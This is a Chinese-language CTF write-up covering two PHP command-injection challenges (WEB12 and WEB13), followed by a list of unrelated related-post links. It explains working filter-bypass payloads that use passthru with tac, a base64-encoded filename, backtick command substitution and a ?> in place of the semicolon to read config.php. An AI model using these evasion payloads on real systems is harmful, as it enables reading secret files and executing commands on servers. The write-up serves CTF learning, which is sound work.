WEB12~13

##解题思路1(WEB12)

首先跟上几题一样,flag在config.php里,但是过滤更加严格了,cat和php之类的全过滤了,怎么办?

分析一下,正常的执行函数不能用,但没有过滤passthru,查看命令less、more、tac之类的都没有过滤,文件名和路径拼接过滤了,但是加密一下就可以啦!

但现在问题来了,加密该如何加密?

我们就需要将config.php进行base64编码,然后进行decode,再放到passthru函数里

于是乎,payload如下

复制代码
?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a");

##解题思路2(WEB12)

经过看网上的wp,发现其实还有第二种方法,我们需要知道以下内容

复制代码
反引号``, 可执行系统命令, 并返回一个字符串类型的变量, 用来保存命令的执行结果, 需要注意的是, 反引号``中的命令会先被执行并将结果以字符串类型的变量返回, 而后再参与到其他代码的执行, 类似一个函数

使用样例如下,如果我们使用反引号将ls命令括起来,那么返回结果将会作为字符串,而echo能打印字符串

复制代码
?c=echo `ls|grep confi*`;

于是结果如下

基于以上原理,最终结合最开始讲的命令执行函数,payload如下

复制代码
?c=passthru('tac `ls|grep confi*`');

如果用more之类查看文件命令的,页面没有回显,那么查看页面源码,就可以得到flag啦!

##解题思路(WEB13)

其实就是在WEB12的基础上,多了分号 ; 和file的过滤,其余逻辑都一样,那就说明,我们只需要绕过其中一个就好了。

我们可以用?>代替;完成闭合,最终payload是

复制代码
?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a")?>

直接get flag

相关推荐
全栈软件开发2 小时前
PHP域名授权系统网站源码_授权管理工单系统_精美UI_附教程
开发语言·ui·php·php域名授权·授权系统网站源码
mit6.8243 小时前
ubuntu远程桌面很卡怎么解决?
linux·ubuntu·php
2301_780789663 小时前
边缘节点 DDoS 防护:CDN 节点的流量清洗与就近拦截方案
安全·web安全·ddos
江拥羡橙4 小时前
【基础-判断】HarmonyOS提供了基础的应用加固安全能力,包括混淆、加密和代码签名能力
安全·华为·typescript·harmonyos
小木话安全5 小时前
ISO27001 高阶架构 之 支持 -2
网络·安全·职场和发展·学习方法
ayaya_mana9 小时前
Nginx性能优化与安全配置:打造高性能Web服务器
运维·nginx·安全·性能优化
ZZHow102411 小时前
JavaWeb开发_Day05
java·笔记·web
观北海17 小时前
网络安全蓝队常用工具全景与实战指南
安全·web安全
lingggggaaaa18 小时前
小迪安全v2023学习笔记(六十一讲)—— 持续更新中
笔记·学习·安全·web安全·网络安全·反序列化
奥格列的魔法拖鞋~20 小时前
Docker-LNMP架构 创建多项目- 单个ngixn代理多个PHP容器服务
nginx·docker·eureka·架构·php·lnmp